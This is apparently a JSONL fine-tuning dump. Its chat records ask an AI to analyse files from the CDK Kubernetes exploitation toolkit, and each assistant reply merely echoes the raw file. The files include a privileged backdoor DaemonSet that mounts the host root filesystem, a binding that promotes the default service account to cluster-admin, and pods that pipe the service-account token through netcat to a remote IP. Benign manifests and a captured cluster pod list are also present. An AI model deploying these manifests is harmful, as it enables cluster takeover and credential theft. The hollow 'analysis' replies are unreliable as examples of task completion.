rue\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:08:52Z\"}],\"hostIP\":\"192.168.0.150\",\"podIP\":\"192.168.0.150\",\"podIPs\":[{\"ip\":\"192.168.0.150\"}],\"startTime\":\"2020-04-08T04:08:52Z\",\"containerStatuses\":[{\"name\":\"kube-apiserver\",\"state\":{\"running\":{\"startedAt\":\"2020-09-10T07:23:26Z\"}},\"lastState\":{\"terminated\":{\"exitCode\":255,\"reason\":\"Error\",\"startedAt\":\"2020-04-08T04:08:45Z\",\"finishedAt\":\"2020-09-10T07:23:17Z\",\"containerID\":\"docker://e6b39e8558945aa0943c5daffca465205aa932ae574e5d236b7a73a0e7afd376\"}},\"ready\":true,\"restartCount\":1,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/kube-apiserver:v1.16.6-aliyun.1\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/kube-apiserver@sha256:fee22221e79180ebbfa2641ff66d033ef52fe887e112761a8911bf86ae345e1c\",\"containerID\":\"docker://2ba1f9a5390f9af1b61e8a0101f872a85b510f4af4b87aa9f5b2a4fca30657c0\",\"started\":true}],\"qosClass\":\"Burstable\"}}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: test/k8s_exploit_util/backdoor_daemonset.json\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n{\"apiVersion\":\"extensions/v1beta1\",\"kind\":\"DaemonSet\",\"metadata\":{\"annotations\":{},\"labels\":{\"k8s-app\":\"${K8S_APP}\"},\"name\":\"cdk-backdoor-daemonset\"},\"spec\":{\"selector\":{\"matchLabels\":{\"k8s-app\":\"${K8S_APP}\"}},\"template\":{\"metadata\":{\"labels\":{\"k8s-app\":\"${K8S_APP}\"}},\"spec\":{\"containers\":[{\"command\":[\"sleep\",\"infinity\"],\"image\":\"${IMAGE}\",\"imagePullPolicy\":\"IfNotPresent\",\"name\":\"cdk-backdoor-pod\",\"securityContext\":{\"capabilities\":{\"add\":[\"NET_ADMIN\",\"SYS_ADMIN\",\"SYS_PTRACE\",\"AUDIT_CONTROL\",\"MKNOD\",\"SETFCAP\"]},\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host-root\",\"name\":\"host-volume\"}]}],\"hostNetwork\":true,\"hostPID\":true,\"restartPolicy\":\"Always\",\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"host-volume\"}]}}}}\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: test/k8s_exploit_util/backdoor_daemonset.yaml\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\napiVersion: extensions/v1beta1\nkind: DaemonSet\nmetadata:\n name: cdk-backdoor-daemonset\n labels:\n k8s-app: ${K8S_APP}\nspec:\n selector:\n matchLabels:\n k8s-app: ${K8S_APP}\n template:\n metadata:\n labels:\n k8s-app: ${K8S_APP}\n spec:\n containers:\n - command:\n - sleep\n - infinity\n image: ${IMAGE}\n imagePullPolicy: IfNotPresent\n name: cdk-backdoor-pod\n securityContext:\n capabilities:\n add:\n - NET_ADMIN\n - SYS_ADMIN\n - SYS_PTRACE\n - AUDIT_CONTROL\n - MKNOD\n - SETFCAP\n privileged: true\n volumeMounts:\n - mountPath: /host-root\n name: host-volume\n\n hostNetwork: true\n hostPID: true\n restartPolicy: Always\n volumes:\n - hostPath:\n path: /\n name: host-volume\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: test/k8s_exploit_util/cronjob.yaml\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\napiVersion: batch/v1beta1\nkind: CronJob\nmetadata:\n name: hello\nspec:\n schedule: \"*/1 * * * *\"\n jobTemplate:\n spec:\n template:\n spec:\n containers:\n - name: hello\n image: busybox\n imagePullPolicy: IfNotPresent\n args:\n - /bin/sh\n - -c\n - date; echo Hello from the Kubernetes cluster\n restartPolicy: OnFailure\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: test/k8s_exploit_util/default_to_admin.yaml\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\nkind: ClusterRoleBinding\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n name: cdxy-default-to-admin-binding\n namespace: default\nsubjects:\n- kind: ServiceAccount\n name: default\n namespace: default\nroleRef:\n kind: ClusterRole\n name: cluster-admin\n apiGroup: \"rbac.authorization.k8s.io\"\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: test/k8s_exploit_util/get-sa-token.json\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n{\n\t\"apiVersion\": \"v1\",\n\t\"kind\": \"Pod\",\n\t\"metadata\": {\n\t\t\"name\": \"cdk-rbac-bypass-create-pod\",\n\t\t\"namespace\": \"kube-system\"\n\t},\n\t\"spec\": {\n\t\t\"automountServiceAccountToken\": true,\n\t\t\"containers\": [{\n\t\t\t\"args\": [\"-c\", \"apt update \\u0026\\u0026 apt install -y netcat; cat /run/secrets/kubernetes.io/serviceaccount/token | nc $RHOST $RPORT; sleep 300\"],\n\t\t\t\"command\": [\"/bin/sh\"],\n\t\t\t\"image\": \"ubuntu\",\n\t\t\t\"name\": \"ubuntu\"\n\t\t}],\n\t\t\"hostNetwork\": true,\n\t\t\"serviceAccountName\": \"admin\"\n\t}\n}\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: test/k8s_exploit_util/get-sa-token.yaml\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\napiVersion: v1\nkind: Pod\nmetadata:\n name: cdk-rbac-bypass-create-pod\n namespace: kube-system\nspec:\n containers:\n - image: ubuntu\n name: ubuntu\n command: [\"/bin/sh\"]\n args: [\"-c\", \"apt update && apt install -y netcat; cat /run/secrets/kubernetes.io/serviceaccount/token | nc 39.104.80.49 999; sleep 99999999\"]\n serviceAccountName: admin\n automountServiceAccountToken: true\n hostNetwork: true\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: test/k8s_exploit_util/myappnew.yaml\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\napiVersion: v1\nkind: Pod\nmetadata:\n name: myappnew\nspec:\n containers:\n - image: nginx\n name: container\n env:\n - name: KUBERNETES_SERVICE_HOST\n value: \"192.168.0.150\"\n - name: KUBERNETES_SERVICE_PORT\n value: \"6443\"\n volumeMounts:\n - mountPath: /mnt\n name: test-volume\n - mountPath: /host-root\n name: host-volume\n volumes:\n - hostPath:\n path: /tmp\n name: test-volume\n - hostPath:\n path: /\n name: host-volume\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: test/k8s_exploit_util/resp_podlist.json\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n{\"kind\":\"PodList\",\"apiVersion\":\"v1\",\"metadata\":{\"selfLink\":\"/api/v1/namespaces/kube-system/pods\",\"resourceVersion\":\"64714155\"},\"items\":[{\"metadata\":{\"name\":\"alicloud-application-controller-68999d69df-6fbgg\",\"generateName\":\"alicloud-application-controller-68999d69df-\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/alicloud-application-controller-68999d69df-6fbgg\",\"uid\":\"c61634a1-bf3b-4aa5-b5fb-f0ad51142c48\",\"resourceVersion\":\"1933\",\"creationTimestamp\":\"2020-04-08T04:12:32Z\",\"labels\":{\"app\":\"alicloud-application-controller\",\"owner\":\"aliyun\",\"pod-template-hash\":\"68999d69df\"},\"annotations\":{\"kubernetes.io/psp\":\"ack.privileged\"},\"ownerReferences\":[{\"apiVersion\":\"apps/v1\",\"kind\":\"ReplicaSet\",\"name\":\"alicloud-application-controller-68999d69df\",\"uid\":\"4f2f3156-b2c5-4b32-9105-d1a97ab86d7e\",\"controller\":true,\"blockOwnerDeletion\":true}]},\"spec\":{\"volumes\":[{\"name\":\"admin-token-t8m2n\",\"secret\":{\"secretName\":\"admin-token-t8m2n\",\"defaultMode\":420}}],\"containers\":[{\"name\":\"alicloud-application-controller\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/aliyun-app-lifecycle-manager:v0.1.0.1-f832bed-aliyun\",\"resources\":{\"requests\":{\"cpu\":\"100m\",\"memory\":\"80Mi\"}},\"volumeMounts\":[{\"name\":\"admin-token-t8m2n\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"livenessProbe\":{\"exec\":{\"command\":[\"sh\",\"-c\",\"ps -ef | grep aliyun-app-manager | grep -v grep\"]},\"initialDelaySeconds\":10,\"timeoutSeconds\":5,\"periodSeconds\":30,\"successThreshold\":1,\"failureThreshold\":3},\"readinessProbe\":{\"exec\":{\"command\":[\"sh\",\"-c\",\"ps -ef | grep aliyun-app-manager | grep -v grep\"]},\"initialDelaySeconds\":10,\"timeoutSeconds\":5,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":3},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\"}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeSelector\":{\"beta.kubernetes.io/os\":\"linux\"},\"serviceAccountName\":\"admin\",\"serviceAccount\":\"admin\",\"nodeName\":\"cn-beijing.192.168.0.155\",\"securityContext\":{},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"key\":\"node-role.kubernetes.io/master\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.cloudprovider.kubernetes.io/uninitialized\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/not-ready\",\"operator\":\"Exists\",\"effect\":\"NoExecute\",\"tolerationSeconds\":300},{\"key\":\"node.kubernetes.io/unreachable\",\"operator\":\"Exists\",\"effect\":\"NoExecute\",\"tolerationSeconds\":300}],\"priorityClassName\":\"system-node-critical\",\"priority\":2000001000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:44Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:59Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:59Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:44Z\"}],\"hostIP\":\"192.168.0.155\",\"podIP\":\"172.20.0.195\",\"podIPs\":[{\"ip\":\"172.20.0.195\"}],\"startTime\":\"2020-04-08T04:12:44Z\",\"containerStatuses\":[{\"name\":\"alicloud-application-controller\",\"state\":{\"running\":{\"startedAt\":\"2020-04-08T04:12:49Z\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/aliyun-app-lifecycle-manager:v0.1.0.1-f832bed-aliyun\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/aliyun-app-lifecycle-manager@sha256:37348e10cd00c02360527343a2863e7bedd2fc65c23c3f2464af5dc7efb5b2c6\",\"containerID\":\"docker://0913be067bdbe34a11120e12c0a65c07cdf856447b8ecf7e3f26c527aff67237\",\"started\":true}],\"qosClass\":\"Burstable\"}},{\"metadata\":{\"name\":\"alicloud-disk-controller-74b658598f-rrztt\",\"generateName\":\"alicloud-disk-controller-74b658598f-\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/alicloud-disk-controller-74b658598f-rrztt\",\"uid\":\"58cf7e8a-6da3-46ba-ac47-bc35e6c16eea\",\"resourceVersion\":\"35736431\",\"creationTimestamp\":\"2020-04-08T04:12:32Z\",\"labels\":{\"app\":\"alicloud-disk-controller\",\"pod-template-hash\":\"74b658598f\"},\"annotations\":{\"kubernetes.io/psp\":\"ack.privileged\"},\"ownerReferences\":[{\"apiVersion\":\"apps/v1\",\"kind\":\"ReplicaSet\",\"name\":\"alicloud-disk-controller-74b658598f\",\"uid\":\"1471ba59-65e2-4b9d-9259-8a657814049f\",\"controller\":true,\"blockOwnerDeletion\":true}]},\"spec\":{\"volumes\":[{\"name\":\"cloud-config\",\"hostPath\":{\"path\":\"/etc/kubernetes/\",\"type\":\"\"}},{\"name\":\"logdir\",\"hostPath\":{\"path\":\"/var/log/alicloud/\",\"type\":\"\"}},{\"name\":\"admin-token-t8m2n\",\"secret\":{\"secretName\":\"admin-token-t8m2n\",\"defaultMode\":420}}],\"containers\":[{\"name\":\"alicloud-disk-controller\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/alicloud-disk-controller:v1.14.8.37-bd3fd891-aliyun\",\"resources\":{\"limits\":{\"cpu\":\"100m\",\"memory\":\"100Mi\"},\"requests\":{\"cpu\":\"100m\",\"memory\":\"100Mi\"}},\"volumeMounts\":[{\"name\":\"cloud-config\",\"mountPath\":\"/etc/kubernetes/\"},{\"name\":\"logdir\",\"mountPath\":\"/var/log/alicloud/\"},{\"name\":\"admin-token-t8m2n\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"livenessProbe\":{\"exec\":{\"command\":[\"sh\",\"-c\",\"ls /alicloud-disk-controller\"]},\"initialDelaySeconds\":15,\"timeoutSeconds\":15,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":8},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\"}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeSelector\":{\"beta.kubernetes.io/os\":\"linux\"},\"serviceAccountName\":\"admin\",\"serviceAccount\":\"admin\",\"nodeName\":\"cn-beijing.192.168.0.150\",\"securityContext\":{},\"affinity\":{\"nodeAffinity\":{\"preferredDuringSchedulingIgnoredDuringExecution\":[{\"weight\":1,\"preference\":{\"matchExpressions\":[{\"key\":\"node-role.kubernetes.io/master\",\"operator\":\"Exists\"}]}}]}},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\"}],\"priorityClassName\":\"system-node-critical\",\"priority\":2000001000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:32Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-09-10T07:23:45Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-09-10T07:23:45Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:32Z\"}],\"hostIP\":\"192.168.0.150\",\"podIP\":\"172.20.0.3\",\"podIPs\":[{\"ip\":\"172.20.0.3\"}],\"startTime\":\"2020-04-08T04:12:32Z\",\"containerStatuses\":[{\"name\":\"alicloud-disk-controller\",\"state\":{\"running\":{\"startedAt\":\"2020-09-10T07:23:44Z\"}},\"lastState\":{\"terminated\":{\"exitCode\":255,\"reason\":\"Error\",\"startedAt\":\"2020-04-08T04:12:54Z\",\"finishedAt\":\"2020-09-10T07:23:17Z\",\"containerID\":\"docker://48004de77599d15d19b5336e01405579b922ae607c84fe4b5856884446f1f18e\"}},\"ready\":true,\"restartCount\":1,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/alicloud-disk-controller:v1.14.8.37-bd3fd891-aliyun\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/alicloud-disk-controller@sha256:498b6ef55f40282853d5b2ec24da4adba0f57ada2cebfa9e24edfe1bd9597a1a\",\"containerID\":\"docker://7d1bd7aa0c44eb838dae70b86857e4530fd3188aca2505d02eee995a425cc341\",\"started\":true}],\"qosClass\":\"Guaranteed\"}},{\"metadata\":{\"name\":\"alicloud-monitor-controller-5599ddcdc7-8btss\",\"generateName\":\"alicloud-monitor-controller-5599ddcdc7-\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/alicloud-monitor-controller-5599ddcdc7-8btss\",\"uid\":\"bb29477b-80e5-409c-a4ed-39dfb36a588f\",\"resourceVersion\":\"1965\",\"creationTimestamp\":\"2020-04-08T04:12:30Z\",\"labels\":{\"k8s-app\":\"alicloud-monitor-controller\",\"pod-template-hash\":\"5599ddcdc7\",\"task\":\"monitoring\"},\"annotations\":{\"kubernetes.io/psp\":\"ack.privileged\",\"scheduler.alpha.kubernetes.io/critical-pod\":\"\"},\"ownerReferences\":[{\"apiVersion\":\"apps/v1\",\"kind\":\"ReplicaSet\",\"name\":\"alicloud-monitor-controller-5599ddcdc7\",\"uid\":\"3aa03e33-6a94-4dba-882a-b1319315f437\",\"controller\":true,\"blockOwnerDeletion\":true}]},\"spec\":{\"volumes\":[{\"name\":\"admin-token-t8m2n\",\"secret\":{\"secretName\":\"admin-token-t8m2n\",\"defaultMode\":420}}],\"containers\":[{\"name\":\"alicloud-monitor-controller\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/alicloud-monitor-controller:v1.1.0\",\"command\":[\"/alicloud-monitor-controller\",\"agent\",\"--regionId=cn-beijing\",\"--clusterId=ca3869bd4dd884799a5abbb00c5e56fc4\",\"--logtostderr\",\"--v=4\"],\"resources\":{\"limits\":{\"cpu\":\"2\",\"memory\":\"4Gi\"},\"requests\":{\"cpu\":\"100m\",\"memory\":\"200Mi\"}},\"volumeMounts\":[{\"name\":\"admin-token-t8m2n\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"livenessProbe\":{\"exec\":{\"command\":[\"sh\",\"-c\",\"ps -ef |grep alicloud-monitor-controller\"]},\"initialDelaySeconds\":15,\"timeoutSeconds\":15,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":8},\"readinessProbe\":{\"exec\":{\"command\":[\"sh\",\"-c\",\"ps -ef |grep alicloud-monitor-controller\"]},\"timeoutSeconds\":1,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":3},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\",\"securityContext\":{\"capabilities\":{\"add\":[\"NET_RAW\"],\"drop\":[\"ALL\"]},\"runAsNonRoot\":true,\"readOnlyRootFilesystem\":true}}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"serviceAccountName\":\"admin\",\"serviceAccount\":\"admin\",\"nodeName\":\"cn-beijing.192.168.0.155\",\"securityContext\":{},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"key\":\"node-role.kubernetes.io/master\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.cloudprovider.kubernetes.io/uninitialized\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/not-ready\",\"operator\":\"Exists\",\"effect\":\"NoExecute\",\"tolerationSeconds\":300},{\"key\":\"node.kubernetes.io/unreachable\",\"operator\":\"Exists\",\"effect\":\"NoExecute\",\"tolerationSeconds\":300}],\"priorityClassName\":\"system-node-critical\",\"priority\":2000001000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:44Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:13:04Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:13:04Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:44Z\"}],\"hostIP\":\"192.168.0.155\",\"podIP\":\"172.20.0.196\",\"podIPs\":[{\"ip\":\"172.20.0.196\"}],\"startTime\":\"2020-04-08T04:12:44Z\",\"containerStatuses\":[{\"name\":\"alicloud-monitor-controller\",\"state\":{\"running\":{\"startedAt\":\"2020-04-08T04:13:03Z\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/alicloud-monitor-controller:v1.1.0\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/alicloud-monitor-controller@sha256:62b7e69c72b8e0d895ca7006c55cd3a053e664d071955fdafe374dbf61105f52\",\"containerID\":\"docker://09d089725237d30a38e2058da1fd8b6dbc671ddb61997b0b04af19907b82e7e1\",\"started\":true}],\"qosClass\":\"Burstable\"}},{\"metadata\":{\"name\":\"aliyun-acr-credential-helper-6b4f98fdfb-ndzlt\",\"generateName\":\"aliyun-acr-credential-helper-6b4f98fdfb-\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/aliyun-acr-credential-helper-6b4f98fdfb-ndzlt\",\"uid\":\"de9e98a0-2c72-4ef3-81d1-22e8afa38846\",\"resourceVersion\":\"2084\",\"creationTimestamp\":\"2020-04-08T04:12:31Z\",\"labels\":{\"app\":\"aliyun-acr-credential-helper\",\"pod-template-hash\":\"6b4f98fdfb\"},\"annotations\":{\"kubernetes.io/psp\":\"ack.privileged\"},\"ownerReferences\":[{\"apiVersion\":\"apps/v1\",\"kind\":\"ReplicaSet\",\"name\":\"aliyun-acr-credential-helper-6b4f98fdfb\",\"uid\":\"cf48a7f1-93f4-42f6-900b-aecf853279e5\",\"controller\":true,\"blockOwnerDeletion\":true}]},\"spec\":{\"volumes\":[{\"name\":\"localtime\",\"hostPath\":{\"path\":\"/etc/localtime\",\"type\":\"File\"}},{\"name\":\"aliyun-acr-credential-helper-token-jlc5m\",\"secret\":{\"secretName\":\"aliyun-acr-credential-helper-token-jlc5m\",\"defaultMode\":420}}],\"containers\":[{\"name\":\"aliyun-acr-credential-helper\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/aliyun-acr-credential-helper:v20.03.16.0-36d5d7e-aliyun\",\"env\":[{\"name\":\"POD_NAME\",\"valueFrom\":{\"fieldRef\":{\"apiVersion\":\"v1\",\"fieldPath\":\"metadata.name\"}}},{\"name\":\"POD_NAMESPACE\",\"valueFrom\":{\"fieldRef\":{\"apiVersion\":\"v1\",\"fieldPath\":\"metadata.namespace\"}}}],\"resources\":{\"limits\":{\"cpu\":\"500m\",\"memory\":\"500Mi\"},\"requests\":{\"cpu\":\"50m\",\"memory\":\"50Mi\"}},\"volumeMounts\":[{\"name\":\"localtime\",\"readOnly\":true,\"mountPath\":\"/etc/localtime\u514d\u5bc6\u955c\u50cf\u62c9\u53d6\u6ce8\u610f\u4e8b\u9879\"},{\"name\":\"aliyun-acr-credential-helper-token-jlc5m\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"livenessProbe\":{\"exec\":{\"command\":[\"sh\",\"-c\",\"ps -ef | grep aliyun-acr-credential-helper | grep -v grep\"]},\"initialDelaySeconds\":10,\"timeoutSeconds\":1,\"periodSeconds\":30,\"successThreshold\":1,\"failureThreshold\":3},\"readinessProbe\":{\"exec\":{\"command\":[\"sh\",\"-c\",\"ps -ef | grep aliyun-acr-credential-helper | grep -v grep\"]},\"initialDelaySeconds\":5,\"timeoutSeconds\":1,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":3},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"Always\",\"securityContext\":{\"runAsUser\":1000,\"readOnlyRootFilesystem\":true}}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeSelector\":{\"beta.kubernetes.io/os\":\"linux\"},\"serviceAccountName\":\"aliyun-acr-credential-helper\",\"serviceAccount\":\"aliyun-acr-credential-helper\",\"nodeName\":\"cn-beijing.192.168.0.155\",\"securityContext\":{},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"key\":\"node.kubernetes.io/not-ready\",\"operator\":\"Exists\",\"effect\":\"NoExecute\",\"tolerationSeconds\":300},{\"key\":\"node.kubernetes.io/unreachable\",\"operator\":\"Exists\",\"effect\":\"NoExecute\",\"tolerationSeconds\":300}],\"priorityClassName\":\"system-cluster-critical\",\"priority\":2000000000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:46Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:13:34Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:13:34Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:46Z\"}],\"hostIP\":\"192.168.0.155\",\"podIP\":\"172.20.0.198\",\"podIPs\":[{\"ip\":\"172.20.0.198\"}],\"startTime\":\"2020-04-08T04:12:46Z\",\"containerStatuses\":[{\"name\":\"aliyun-acr-credential-helper\",\"state\":{\"running\":{\"startedAt\":\"2020-04-08T04:13:20Z\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/aliyun-acr-credential-helper:v20.03.16.0-36d5d7e-aliyun\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/aliyun-acr-credential-helper@sha256:a82eaef4c266219538a5f470d758dfc0957bd24e81949431933a1406c47f8ef4\",\"containerID\":\"docker://9344a4a0b58a001fd38d2e349ce5893d4b355984227a5a2f5e144999ddec2df6\",\"started\":true}],\"qosClass\":\"Burstable\"}},{\"metadata\":{\"name\":\"cloud-controller-manager-grvn8\",\"generateName\":\"cloud-controller-manager-\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/cloud-controller-manager-grvn8\",\"uid\":\"d3540caa-ffc9-49ed-bac3-582d8444954c\",\"resourceVersion\":\"35736387\",\"creationTimestamp\":\"2020-04-08T04:12:31Z\",\"labels\":{\"app\":\"cloud-controller-manager\",\"controller-revision-hash\":\"59bf758d55\",\"pod-template-generation\":\"1\",\"tier\":\"control-plane\"},\"annotations\":{\"kubernetes.io/psp\":\"ack.privileged\",\"scheduler.alpha.kubernetes.io/critical-pod\":\"\"},\"ownerReferences\":[{\"apiVersion\":\"apps/v1\",\"kind\":\"DaemonSet\",\"name\":\"cloud-controller-manager\",\"uid\":\"dcaaaa8b-d304-42a3-8ee2-2d415041c6c0\",\"controller\":true,\"blockOwnerDeletion\":true}]},\"spec\":{\"volumes\":[{\"name\":\"k8s\",\"hostPath\":{\"path\":\"/etc/kubernetes\",\"type\":\"\"}},{\"name\":\"certs\",\"hostPath\":{\"path\":\"/etc/ssl/certs\",\"type\":\"\"}},{\"name\":\"pki\",\"hostPath\":{\"path\":\"/etc/pki\",\"type\":\"\"}},{\"name\":\"cloud-config\",\"configMap\":{\"name\":\"cloud-config\",\"items\":[{\"key\":\"cloud-config.conf\",\"path\":\"cloud-config.conf\"}],\"defaultMode\":420}},{\"name\":\"cloud-controller-manager-token-hrbpn\",\"secret\":{\"secretName\":\"cloud-controller-manager-token-hrbpn\",\"defaultMode\":420}}],\"containers\":[{\"name\":\"cloud-controller-manager\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/cloud-controller-manager-amd64:v1.9.3.239-g40d97e1-aliyun\",\"command\":[\"/cloud-controller-manager\",\"--kubeconfig=/etc/kubernetes/cloud-controller-manager.conf\",\"--address=127.0.0.1\",\"--allow-untagged-cloud=true\",\"--leader-elect=true\",\"--cloud-provider=alicloud\",\"--use-service-account-credentials=true\",\"--cloud-config=/etc/kubernetes/config/cloud-config.conf\",\"--feature-gates=ServiceNodeExclusion=true\",\"--route-reconciliation-period=3m\",\"--configure-cloud-routes=true\",\"--allocate-node-cidrs=true\",\"--cluster-cidr=172.20.0.0/16\"],\"resources\":{\"requests\":{\"cpu\":\"200m\"}},\"volumeMounts\":[{\"name\":\"k8s\",\"mountPath\":\"/etc/kubernetes/\"},{\"name\":\"certs\",\"mountPath\":\"/etc/ssl/certs\"},{\"name\":\"p